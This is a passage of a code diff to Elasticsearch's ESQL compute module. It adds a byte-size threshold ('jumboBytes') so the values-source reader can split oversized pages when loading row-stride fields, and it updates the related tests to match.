         if (docs.singleSegmentNonDecreasing()) {
-            loadFromSingleLeaf(target, new BlockLoader.Docs() {
-                @Override
-                public int count() {
-                    return docs.getPositionCount();
-                }
-
-                @Override
-                public int get(int i) {
-                    return docs.docs().getInt(i);
-                }
-            });
+            loadFromSingleLeaf(operator.jumboBytes, target, new ValuesReaderDocs(docs), offset);
             return;
         }
+        if (offset != 0) {
+            throw new IllegalStateException("can only load partial pages with single-segment non-decreasing pages");
+        }
         int[] forwards = docs.shardSegmentDocMapForwards();
         Block[] unshuffled = new Block[target.length];
         try {
-            loadFromSingleLeaf(unshuffled, new BlockLoader.Docs() {
-                @Override
-                public int count() {
-                    return docs.getPositionCount();
-                }
-
-                @Override
-                public int get(int i) {
-                    return docs.docs().getInt(forwards[i]);
-                }
-            });
+            loadFromSingleLeaf(
+                Long.MAX_VALUE, // Effectively disable splitting pages when we're not loading in order
+                unshuffled,
+                new ValuesReaderDocs(docs).mapped(forwards),
+                0
+            );
             final int[] backwards = docs.shardSegmentDocMapBackwards();
             for (int i = 0; i < unshuffled.length; i++) {
                 target[i] = unshuffled[i].filter(backwards);
@@ -89,24 +81,25 @@ public int get(int i) {
         }
     }
 
-    private void loadFromSingleLeaf(Block[] target, BlockLoader.Docs docs) throws IOException {
-        int firstDoc = docs.get(0);
+    private void loadFromSingleLeaf(long jumboBytes, Block[] target, ValuesReaderDocs docs, int offset) throws IOException {
+        int firstDoc = docs.get(offset);
         operator.positionFieldWork(shard, segment, firstDoc);
         StoredFieldsSpec storedFieldsSpec = StoredFieldsSpec.NO_REQUIREMENTS;
-        List<RowStrideReaderWork> rowStrideReaders = new ArrayList<>(operator.fields.length);
         LeafReaderContext ctx = operator.ctx(shard, segment);
-        try (ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(operator.blockFactory, docs.count())) {
+
+        List<ColumnAtATimeWork> columnAtATimeReaders = new ArrayList<>(operator.fields.length);
+        List<RowStrideReaderWork> rowStrideReaders = new ArrayList<>(operator.fields.length);
+        try (ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(operator.blockFactory)) {
             for (int f = 0; f < operator.fields.length; f++) {
                 ValuesSourceReaderOperator.FieldWork field = operator.fields[f];
                 BlockLoader.ColumnAtATimeReader columnAtATime = field.columnAtATime(ctx);
                 if (columnAtATime != null) {
-                    target[f] = (Block) columnAtATime.read(loaderBlockFactory, docs);
-                    operator.sanityCheckBlock(columnAtATime, docs.count(), target[f], f);
+                    columnAtATimeReaders.add(new ColumnAtATimeWork(columnAtATime, f));
                 } else {
                     rowStrideReaders.add(
                         new RowStrideReaderWork(
                             field.rowStride(ctx),
-                            (Block.Builder) field.loader.builder(loaderBlockFactory, docs.count()),
+                            (Block.Builder) field.loader.builder(loaderBlockFactory, docs.count() - offset),
                             field.loader,
                             f
                         )
@@ -116,7 +109,18 @@ private void loadFromSingleLeaf(Block[] target, BlockLoader.Docs docs) throws IO
             }
 
             if (rowStrideReaders.isEmpty() == false) {
-                loadFromRowStrideReaders(target, storedFieldsSpec, rowStrideReaders, ctx, docs);
+                loadFromRowStrideReaders(jumboBytes, target, storedFieldsSpec, rowStrideReaders, ctx, docs, offset);
+            }
+            for (ColumnAtATimeWork r : columnAtATimeReaders) {
+                target[r.idx] = (Block) r.reader.read(loaderBlockFactory, docs, offset);
+                operator.sanityCheckBlock(r.reader, docs.count() - offset, target[r.idx], r.idx);
+            }
+            if (log.isDebugEnabled()) {
+                long total = 0;
+                for (Block b : target) {
+                    total += b.ramBytesUsed();
+                }
+                log.debug("loaded {} positions total ({} bytes)", target[0].getPositionCount(), total);
             }
         } finally {
             Releasables.close(rowStrideReaders);
@@ -124,11 +128,13 @@ private void loadFromSingleLeaf(Block[] target, BlockLoader.Docs docs) throws IO
     }
 
     private void loadFromRowStrideReaders(
+        long jumboBytes,
         Block[] target,
         StoredFieldsSpec storedFieldsSpec,
         List<RowStrideReaderWork> rowStrideReaders,
         LeafReaderContext ctx,
-        BlockLoader.Docs docs
+        ValuesReaderDocs docs,
+        int offset
     ) throws IOException {
         SourceLoader sourceLoader = null;
         ValuesSourceReaderOperator.ShardContext shardContext = operator.shardContexts.get(shard);
@@ -153,18 +159,29 @@ private void loadFromRowStrideReaders(
             storedFieldLoader.getLoader(ctx, null),
             sourceLoader != null ? sourceLoader.leaf(ctx.reader(), null) : null
         );
-        int p = 0;
-        while (p < docs.count()) {
+        int p = offset;
+        long estimated = 0;
+        while (p < docs.count() && estimated < jumboBytes) {
             int doc = docs.get(p++);
             storedFields.advanceTo(doc);
             for (RowStrideReaderWork work : rowStrideReaders) {
                 work.read(doc, storedFields);
             }
+            estimated = estimatedRamBytesUsed(rowStrideReaders);
+            log.trace("{}: bytes loaded {}/{}", p, estimated, jumboBytes);
         }
         for (RowStrideReaderWork work : rowStrideReaders) {
-            target[work.offset] = work.build();
-            operator.sanityCheckBlock(work.reader, p, target[work.offset], work.offset);
+            target[work.idx] = work.build();
+            operator.sanityCheckBlock(work.reader, p - offset, target[work.idx], work.idx);
         }
+        if (log.isDebugEnabled()) {
+            long actual = 0;
+            for (RowStrideReaderWork work : rowStrideReaders) {
+                actual += target[work.idx].ramBytesUsed();
+            }
+            log.debug("loaded {} positions row stride estimated/actual {}/{} bytes", p - offset, estimated, actual);
+        }
+        docs.setCount(p);
     }
 
     /**
@@ -180,7 +197,21 @@ private boolean useSequentialStoredFieldsReader(BlockLoader.Docs docs, double st
         return range * storedFieldsSequentialProportion <= count;
     }
 
-    private record RowStrideReaderWork(BlockLoader.RowStrideReader reader, Block.Builder builder, BlockLoader loader, int offset)
+    /**
+     * Work for building a column-at-a-time.
+     * @param reader reads the values
+     * @param idx destination in array of {@linkplain Block}s we build
+     */
+    private record ColumnAtATimeWork(BlockLoader.ColumnAtATimeReader reader, int idx) {}
+
+    /**
+     * Work for
+     * @param reader
+     * @param builder
+     * @param loader
+     * @param idx
+     */
+    private record RowStrideReaderWork(BlockLoader.RowStrideReader reader, Block.Builder builder, BlockLoader loader, int idx)
         implements
             Releasable {
         void read(int doc, BlockLoaderStoredFieldsFromLeafLoader storedFields) throws IOException {
@@ -196,4 +227,12 @@ public void close() {
             builder.close();
         }
     }
+
+    private long estimatedRamBytesUsed(List<RowStrideReaderWork> rowStrideReaders) {
+        long estimated = 0;
+        for (RowStrideReaderWork r : rowStrideReaders) {
+            estimated += r.builder.estimatedBytes();
+        }
+        return estimated;
+    }
 }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
index ebfac0cb24f7f..d3b8b0edcec3d 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
@@ -36,9 +36,6 @@ public Block[] next() {
         boolean success = false;
         try {
             load(target, offset);
-            if (target[0].getPositionCount() != docs.getPositionCount()) {
-                throw new IllegalStateException("partial pages not yet supported");
-            }
             success = true;
             for (Block b : target) {
                 operator.valuesLoaded += b.getTotalValueCount();
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReaderDocs.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReaderDocs.java
new file mode 100644
index 0000000000000..2e138dc2d0446
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReaderDocs.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.elasticsearch.compute.data.DocVector;
+import org.elasticsearch.core.Nullable;
+import org.elasticsearch.index.mapper.BlockLoader;
+
+/**
+ * Implementation of {@link BlockLoader.Docs} for ESQL. It's important that
+ * only this implementation, and the implementation returned by {@link #mapped}
+ * exist. This allows the jvm to inline the {@code invokevirtual}s to call
+ * the interface in hot, hot code.
+ * <p>
+ *     We've investigated moving the {@code offset} parameter from the
+ *     {@link BlockLoader.ColumnAtATimeReader#read} into this. That's more
+ *     readable, but a clock cycle slower.
+ * </p>
+ * <p>
+ *     When we tried having a {@link Nullable} map member instead of a subclass
+ *     that was also slower.
+ * </p>
+ */
+class ValuesReaderDocs implements BlockLoader.Docs {
+    private final DocVector docs;
+    private int count;
+
+    ValuesReaderDocs(DocVector docs) {
+        this.docs = docs;
+        this.count = docs.getPositionCount();
+    }
+
+    final Mapped mapped(int[] forwards) {
+        return new Mapped(docs, forwards);
+    }
+
+    public final void setCount(int count) {
+        this.count = count;
+    }
+
+    @Override
+    public final int count() {
+        return count;
+    }
+
+    @Override
+    public int get(int i) {
+        return docs.docs().getInt(i);
+    }
+
+    private class Mapped extends ValuesReaderDocs {
+        private final int[] forwards;
+
+        private Mapped(DocVector docs, int[] forwards) {
+            super(docs);
+            this.forwards = forwards;
+        }
+
+        @Override
+        public int get(int i) {
+            return super.get(forwards[i]);
+        }
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java
index 2fd4784224087..6d0ebb9c312d0 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java
@@ -9,6 +9,7 @@
 
 import org.apache.lucene.index.IndexReader;
 import org.apache.lucene.index.LeafReaderContext;
+import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.compute.data.Block;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.DocBlock;
@@ -42,7 +43,9 @@ public class ValuesSourceReaderOperator extends AbstractPageMappingToIteratorOpe
      * @param shardContexts per-shard loading information
      * @param docChannel the channel containing the shard, leaf/segment and doc id
      */
-    public record Factory(List<FieldInfo> fields, List<ShardContext> shardContexts, int docChannel) implements OperatorFactory {
+    public record Factory(ByteSizeValue jumboSize, List<FieldInfo> fields, List<ShardContext> shardContexts, int docChannel)
+        implements
+            OperatorFactory {
         public Factory {
             if (fields.isEmpty()) {
                 throw new IllegalStateException("ValuesSourceReaderOperator doesn't support empty fields");
@@ -51,7 +54,7 @@ public record Factory(List<FieldInfo> fields, List<ShardContext> shardContexts,
 
         @Override
         public Operator get(DriverContext driverContext) {
-            return new ValuesSourceReaderOperator(driverContext.blockFactory(), fields, shardContexts, docChannel);
+            return new ValuesSourceReaderOperator(driverContext.blockFactory(), jumboSize.getBytes(), fields, shardContexts, docChannel);
         }
 
         @Override
@@ -85,10 +88,21 @@ public record FieldInfo(String name, ElementType type, IntFunction<BlockLoader>
 
     public record ShardContext(IndexReader reader, Supplier<SourceLoader> newSourceLoader, double storedFieldsSequentialProportion) {}
 
+    final BlockFactory blockFactory;
+    /**
+     * When the loaded fields {@link Block}s' estimated size grows larger than this,
+     * we finish loading the {@linkplain Page} and return it, even if
+     * the {@linkplain Page} is shorter than the incoming {@linkplain Page}.
+     * <p>
+     *     NOTE: This only applies when loading single segment non-descending
+     *     row stride bytes. This is the most common way to get giant fields,
+     *     but it isn't all the ways.
+     * </p>
+     */
+    final long jumboBytes;
     final FieldWork[] fields;
     final List<ShardContext> shardContexts;
     private final int docChannel;
-    final BlockFactory blockFactory;
 
     private final Map<String, Integer> readersBuilt = new TreeMap<>();
     long valuesLoaded;
@@ -101,14 +115,21 @@ public record ShardContext(IndexReader reader, Supplier<SourceLoader> newSourceL
      * @param fields fields to load
      * @param docChannel the channel containing the shard, leaf/segment and doc id
      */
-    public ValuesSourceReaderOperator(BlockFactory blockFactory, List<FieldInfo> fields, List<ShardContext> shardContexts, int docChannel) {
+    public ValuesSourceReaderOperator(
+        BlockFactory blockFactory,
+        long jumboBytes,
+        List<FieldInfo> fields,
+        List<ShardContext> shardContexts,
+        int docChannel
+    ) {
         if (fields.isEmpty()) {
             throw new IllegalStateException("ValuesSourceReaderOperator doesn't support empty fields");
         }
+        this.blockFactory = blockFactory;
+        this.jumboBytes = jumboBytes;
         this.fields = fields.stream().map(FieldWork::new).toArray(FieldWork[]::new);
         this.shardContexts = shardContexts;
         this.docChannel = docChannel;
-        this.blockFactory = blockFactory;
     }
 
     @Override
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java
index 58466cffee78e..a00377441dab0 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java
@@ -509,6 +509,7 @@ private static class ValuesAggregator implements Releasable {
         ) {
             this.extractor = new ValuesSourceReaderOperator(
                 driverContext.blockFactory(),
+                Long.MAX_VALUE,
                 List.of(new ValuesSourceReaderOperator.FieldInfo(groupingField, groupingElementType, blockLoaders)),
                 shardContexts,
                 docChannel
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
index e3ddbe0b58aed..b30f0375eeb96 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
@@ -291,6 +291,7 @@ public void testValuesWithOrdinalGrouping() throws Exception {
                 operators.add(
                     new ValuesSourceReaderOperator(
                         blockFactory,
+                        ByteSizeValue.ofMb(1).getBytes(),
                         List.of(
                             new ValuesSourceReaderOperator.FieldInfo(
                                 VAL_NAME,
@@ -382,6 +383,7 @@ public void testPushRoundToToQuery() throws IOException {
                 LuceneOperator.NO_LIMIT
             );
             ValuesSourceReaderOperator.Factory load = new ValuesSourceReaderOperator.Factory(
+                ByteSizeValue.ofGb(1),
                 List.of(
                     new ValuesSourceReaderOperator.FieldInfo("v", ElementType.LONG, f -> new BlockDocValuesReader.LongsBlockLoader("v"))
                 ),
@@ -408,7 +410,6 @@ public void testPushRoundToToQuery() throws IOException {
             boolean sawSecondMax = false;
             boolean sawThirdMax = false;
             for (Page page : pages) {
-                logger.error("ADFA {}", page);
                 LongVector group = page.<LongBlock>getBlock(1).asVector();
                 LongVector value = page.<LongBlock>getBlock(2).asVector();
                 for (int p = 0; p < page.getPositionCount(); p++) {
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java
index 655f7b54c61c0..2ef64623daa74 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java
@@ -23,6 +23,7 @@
 import org.apache.lucene.tests.index.RandomIndexWriter;
 import org.apache.lucene.tests.store.BaseDirectoryWrapper;
 import org.apache.lucene.util.BytesRef;
+import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.compute.OperatorTests;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.BytesRefBlock;
@@ -201,6 +202,7 @@ private List<Page> runQuery(Set<String> values, Query query, boolean shuffleDocs
             operators.add(
                 new ValuesSourceReaderOperator(
                     blockFactory,
+                    ByteSizeValue.ofGb(1).getBytes(),
                     List.of(
                         new ValuesSourceReaderOperator.FieldInfo(
                             FIELD,
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValueSourceReaderTypeConversionTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValueSourceReaderTypeConversionTests.java
index 79ff6642a5ac3..4491180c58684 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValueSourceReaderTypeConversionTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValueSourceReaderTypeConversionTests.java
@@ -34,6 +34,7 @@
 import org.elasticsearch.common.collect.Iterators;
 import org.elasticsearch.common.lucene.Lucene;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.common.util.BigArrays;
 import org.elasticsearch.common.util.concurrent.EsExecutors;
 import org.elasticsearch.compute.data.Block;
@@ -240,12 +241,17 @@ private static Operator.OperatorFactory factory(
         ElementType elementType,
         BlockLoader loader
     ) {
-        return new ValuesSourceReaderOperator.Factory(List.of(new ValuesSourceReaderOperator.FieldInfo(name, elementType, shardIdx -> {
-            if (shardIdx < 0 || shardIdx >= INDICES.size()) {
-                fail("unexpected shardIdx [" + shardIdx + "]");
-            }
-            return loader;
-        })), shardContexts, 0);
+        return new ValuesSourceReaderOperator.Factory(
+            ByteSizeValue.ofGb(1),
+            List.of(new ValuesSourceReaderOperator.FieldInfo(name, elementType, shardIdx -> {
+                if (shardIdx < 0 || shardIdx >= INDICES.size()) {
+                    fail("unexpected shardIdx [" + shardIdx + "]");
+                }
+                return loader;
+            })),
+            shardContexts,
+            0
+        );
     }
 
     protected SourceOperator simpleInput(DriverContext context, int size) {
@@ -492,6 +498,7 @@ public void testManySingleDocPages() {
         // TODO: Add index2
         operators.add(
             new ValuesSourceReaderOperator.Factory(
+                ByteSizeValue.ofGb(1),
                 List.of(testCase.info, fieldInfo(mapperService(indexKey).fieldType("key"), ElementType.INT)),
                 shardContexts,
                 0
@@ -599,6 +606,7 @@ private void loadSimpleAndAssert(
         List<Operator> operators = new ArrayList<>();
         operators.add(
             new ValuesSourceReaderOperator.Factory(
+                ByteSizeValue.ofGb(1),
                 List.of(
                     fieldInfo(mapperService("index1").fieldType("key"), ElementType.INT),
                     fieldInfo(mapperService("index1").fieldType("indexKey"), ElementType.BYTES_REF)
@@ -613,7 +621,9 @@ private void loadSimpleAndAssert(
             cases.removeAll(b);
             tests.addAll(b);
             operators.add(
-                new ValuesSourceReaderOperator.Factory(b.stream().map(i -> i.info).toList(), shardContexts, 0).get(driverContext)
+                new ValuesSourceReaderOperator.Factory(ByteSizeValue.ofGb(1), b.stream().map(i -> i.info).toList(), shardContexts, 0).get(
+                    driverContext
+                )
             );
         }
         List<Page> results = drive(operators, input.iterator(), driverContext);
@@ -717,7 +727,7 @@ private void testLoadAllStatus(boolean allInOnePage) {
             Block.MvOrdering.DEDUPLICATED_AND_SORTED_ASCENDING
         );
         List<Operator> operators = cases.stream()
-            .map(i -> new ValuesSourceReaderOperator.Factory(List.of(i.info), shardContexts, 0).get(driverContext))
+            .map(i -> new ValuesSourceReaderOperator.Factory(ByteSizeValue.ofGb(1), List.of(i.info), shardContexts, 0).get(driverContext))
             .toList();
         if (allInOnePage) {
             input = List.of(CannedSourceOperator.mergePages(input));
@@ -1389,6 +1399,7 @@ public void testNullsShared() {
                 simpleInput(driverContext, 10),
                 List.of(
                     new ValuesSourceReaderOperator.Factory(
+                        ByteSizeValue.ofGb(1),
                         List.of(
                             new ValuesSourceReaderOperator.FieldInfo("null1", ElementType.NULL, shardIdx -> BlockLoader.CONSTANT_NULLS),
                             new ValuesSourceReaderOperator.FieldInfo("null2", ElementType.NULL, shardIdx -> BlockLoader.CONSTANT_NULLS)
@@ -1423,6 +1434,7 @@ public void testDescriptionOfMany() throws IOException {
         List<FieldCase> cases = infoAndChecksForEachType(ordering, ordering);
 
         ValuesSourceReaderOperator.Factory factory = new ValuesSourceReaderOperator.Factory(
+            ByteSizeValue.ofGb(1),
             cases.stream().map(c -> c.info).toList(),
             List.of(new ValuesSourceReaderOperator.ShardContext(reader(indexKey), () -> SourceLoader.FROM_STORED_SOURCE, 0.2)),
             0
@@ -1468,6 +1480,7 @@ public void testManyShards() throws IOException {
             // TODO add index2
             MappedFieldType ft = mapperService(indexKey).fieldType("key");
             var readerFactory = new ValuesSourceReaderOperator.Factory(
+                ByteSizeValue.ofGb(1),
                 List.of(new ValuesSourceReaderOperator.FieldInfo("key", ElementType.INT, shardIdx -> {
                     seenShards.add(shardIdx);
                     return ft.blockLoader(blContext());
@@ -1675,8 +1688,8 @@ public ColumnAtATimeReader columnAtATimeReader(LeafReaderContext context) throws
             }
             return new ColumnAtATimeReader() {
                 @Override
-                public Block read(BlockFactory factory, Docs docs) throws IOException {
-                    Block block = reader.read(factory, docs);
+                public Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+                    Block block = reader.read(factory, docs, offset);
                     Page page = new Page((org.elasticsearch.compute.data.Block) block);
                     return convertEvaluator.eval(page);
                 }
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
index 0c227b5411e25..19a645c146242 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
@@ -30,6 +30,7 @@
 import org.elasticsearch.common.bytes.BytesReference;
 import org.elasticsearch.common.lucene.Lucene;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.compute.data.Block;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.BooleanBlock;
@@ -37,6 +38,7 @@
 import org.elasticsearch.compute.data.BytesRefBlock;
 import org.elasticsearch.compute.data.BytesRefVector;
 import org.elasticsearch.compute.data.DocBlock;
+import org.elasticsearch.compute.data.DocVector;
 import org.elasticsearch.compute.data.DoubleBlock;
 import org.elasticsearch.compute.data.DoubleVector;
 import org.elasticsearch.compute.data.ElementType;
@@ -99,6 +101,7 @@
 import static org.elasticsearch.test.MapMatcher.matchesMap;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.hasSize;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.hamcrest.Matchers.not;
@@ -150,12 +153,14 @@ public static Operator.OperatorFactory factory(IndexReader reader, MappedFieldTy
     }
 
     static Operator.OperatorFactory factory(IndexReader reader, String name, ElementType elementType, BlockLoader loader) {
-        return new ValuesSourceReaderOperator.Factory(List.of(new ValuesSourceReaderOperator.FieldInfo(name, elementType, shardIdx -> {
-            if (shardIdx != 0) {
-                fail("unexpected shardIdx [" + shardIdx + "]");
-            }
-            return loader;
-        })),
+        return new ValuesSourceReaderOperator.Factory(
+            ByteSizeValue.ofGb(1),
+            List.of(new ValuesSourceReaderOperator.FieldInfo(name, elementType, shardIdx -> {
+                if (shardIdx != 0) {
+                    fail("unexpected shardIdx [" + shardIdx + "]");
+                }
+                return loader;
+            })),
             List.of(
                 new ValuesSourceReaderOperator.ShardContext(
                     reader,
@@ -401,7 +406,7 @@ private IndexReader initIndexLongField(Directory directory, int size, int commit
             for (int d = 0; d < size; d++) {
                 XContentBuilder source = JsonXContent.contentBuilder();
                 source.startObject();
-                source.field("long_source_text", Integer.toString(d).repeat(100 * 1024));
+                source.field("long_source_text", d + "#" + "a".repeat(100 * 1024));
                 source.endObject();
                 ParsedDocument doc = mapperService.documentParser()
                     .parseDocument(
@@ -489,6 +494,7 @@ public void testManySingleDocPages() {
         );
         operators.add(
             new ValuesSourceReaderOperator.Factory(
+                ByteSizeValue.ofGb(1),
                 List.of(testCase.info, fieldInfo(mapperService.fieldType("key"), ElementType.INT)),
                 List.of(
                     new ValuesSourceReaderOperator.ShardContext(
@@ -608,6 +614,7 @@ private void loadSimpleAndAssert(
         List<Operator> operators = new ArrayList<>();
         operators.add(
             new ValuesSourceReaderOperator.Factory(
+                ByteSizeValue.ofGb(1),
                 List.of(fieldInfo(mapperService.fieldType("key"), ElementType.INT)),
                 List.of(
                     new ValuesSourceReaderOperator.ShardContext(
@@ -626,6 +633,7 @@ private void loadSimpleAndAssert(
             tests.addAll(b);
             operators.add(
                 new ValuesSourceReaderOperator.Factory(
+                    ByteSizeValue.ofGb(1),
                     b.stream().map(i -> i.info).toList(),
                     List.of(
                         new ValuesSourceReaderOperator.ShardContext(
@@ -724,6 +732,7 @@ private void testLoadAllStatus(boolean allInOnePage) {
         List<Operator> operators = cases.stream()
             .map(
                 i -> new ValuesSourceReaderOperator.Factory(
+                    ByteSizeValue.ofGb(1),
                     List.of(i.info),
                     List.of(
                         new ValuesSourceReaderOperator.ShardContext(
@@ -928,7 +937,6 @@ public void testLoadLongShuffledManySegments() throws IOException {
     private void testLoadLong(boolean shuffle, boolean manySegments) throws IOException {
         int numDocs = between(10, 500);
         initMapping();
-        keyToTags.clear();
         reader = initIndexLongField(directory, numDocs, manySegments ? commitEvery(numDocs) : numDocs, manySegments == false);
 
         DriverContext driverContext = driverContext();
@@ -941,6 +949,7 @@ private void testLoadLong(boolean shuffle, boolean manySegments) throws IOExcept
         if (shuffle) {
             input = input.stream().map(this::shuffle).toList();
         }
+        boolean willSplit = loadLongWillSplit(input);
 
         Checks checks = new Checks(Block.MvOrdering.DEDUPLICATED_AND_SORTED_ASCENDING, Block.MvOrdering.DEDUPLICATED_AND_SORTED_ASCENDING);
 
@@ -956,6 +965,7 @@ private void testLoadLong(boolean shuffle, boolean manySegments) throws IOExcept
         List<Operator> operators = cases.stream()
             .map(
                 i -> new ValuesSourceReaderOperator.Factory(
+                    ByteSizeValue.ofGb(1),
                     List.of(i.info),
                     List.of(
                         new ValuesSourceReaderOperator.ShardContext(
@@ -968,12 +978,55 @@ private void testLoadLong(boolean shuffle, boolean manySegments) throws IOExcept
                 ).get(driverContext)
             )
             .toList();
-        drive(operators, input.iterator(), driverContext);
+        List<Page> result = drive(operators, input.iterator(), driverContext);
+
+        boolean[] found = new boolean[numDocs];
+        for (Page page : result) {
+            BytesRefVector bytes = page.<BytesRefBlock>getBlock(1).asVector();
+            BytesRef scratch = new BytesRef();
+            for (int p = 0; p < bytes.getPositionCount(); p++) {
+                BytesRef v = bytes.getBytesRef(p, scratch);
+                int d = Integer.valueOf(v.utf8ToString().split("#")[0]);
+                assertFalse("found a duplicate " + d, found[d]);
+                found[d] = true;
+            }
+        }
+        List<Integer> missing = new ArrayList<>();
+        for (int d = 0; d < numDocs; d++) {
+            if (found[d] == false) {
+                missing.add(d);
+            }
+        }
+        assertThat(missing, hasSize(0));
+        assertThat(result, hasSize(willSplit ? greaterThanOrEqualTo(input.size()) : equalTo(input.size())));
+
         for (int i = 0; i < cases.size(); i++) {
             ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) operators.get(i).status();
             assertThat(status.pagesReceived(), equalTo(input.size()));
-            assertThat(status.pagesEmitted(), equalTo(input.size()));
+            assertThat(status.pagesEmitted(), willSplit ? greaterThanOrEqualTo(input.size()) : equalTo(input.size()));
+        }
+    }
+
+    private boolean loadLongWillSplit(List<Page> input) {
+        int nextDoc = -1;
+        for (Page page : input) {
+            DocVector doc = page.<DocBlock>getBlock(0).asVector();
+            for (int p = 0; p < doc.getPositionCount(); p++) {
+                if (doc.shards().getInt(p) != 0) {
+                    return false;
+                }
+                if (doc.segments().getInt(p) != 0) {
+                    return false;
+                }
+                if (nextDoc == -1) {
+                    nextDoc = doc.docs().getInt(p);
+                } else if (doc.docs().getInt(p) != nextDoc) {
+                    return false;
+                }
+                nextDoc++;
+            }
         }
+        return true;
     }
 
     record Checks(Block.MvOrdering booleanAndNumericalDocValuesMvOrdering, Block.MvOrdering bytesRefDocValuesMvOrdering) {
@@ -1565,6 +1618,7 @@ public void testNullsShared() {
                 simpleInput(driverContext.blockFactory(), 10),
                 List.of(
                     new ValuesSourceReaderOperator.Factory(
+                        ByteSizeValue.ofGb(1),
                         List.of(
                             new ValuesSourceReaderOperator.FieldInfo("null1", ElementType.NULL, shardIdx -> BlockLoader.CONSTANT_NULLS),
                             new ValuesSourceReaderOperator.FieldInfo("null2", ElementType.NULL, shardIdx -> BlockLoader.CONSTANT_NULLS)
@@ -1616,6 +1670,7 @@ private void testSequentialStoredFields(boolean sequential, int docCount) throws
         assertThat(source, hasSize(1)); // We want one page for simpler assertions, and we want them all in one segment
         assertTrue(source.get(0).<DocBlock>getBlock(0).asVector().singleSegmentNonDecreasing());
         Operator op = new ValuesSourceReaderOperator.Factory(
+            ByteSizeValue.ofGb(1),
             List.of(
                 fieldInfo(mapperService.fieldType("key"), ElementType.INT),
                 fieldInfo(storedTextField("stored_text"), ElementType.BYTES_REF)
@@ -1653,6 +1708,7 @@ public void testDescriptionOfMany() throws IOException {
         List<FieldCase> cases = infoAndChecksForEachType(ordering, ordering);
 
         ValuesSourceReaderOperator.Factory factory = new ValuesSourceReaderOperator.Factory(
+            ByteSizeValue.ofGb(1),
             cases.stream().map(c -> c.info).toList(),
             List.of(
                 new ValuesSourceReaderOperator.ShardContext(
@@ -1706,6 +1762,7 @@ public void testManyShards() throws IOException {
             );
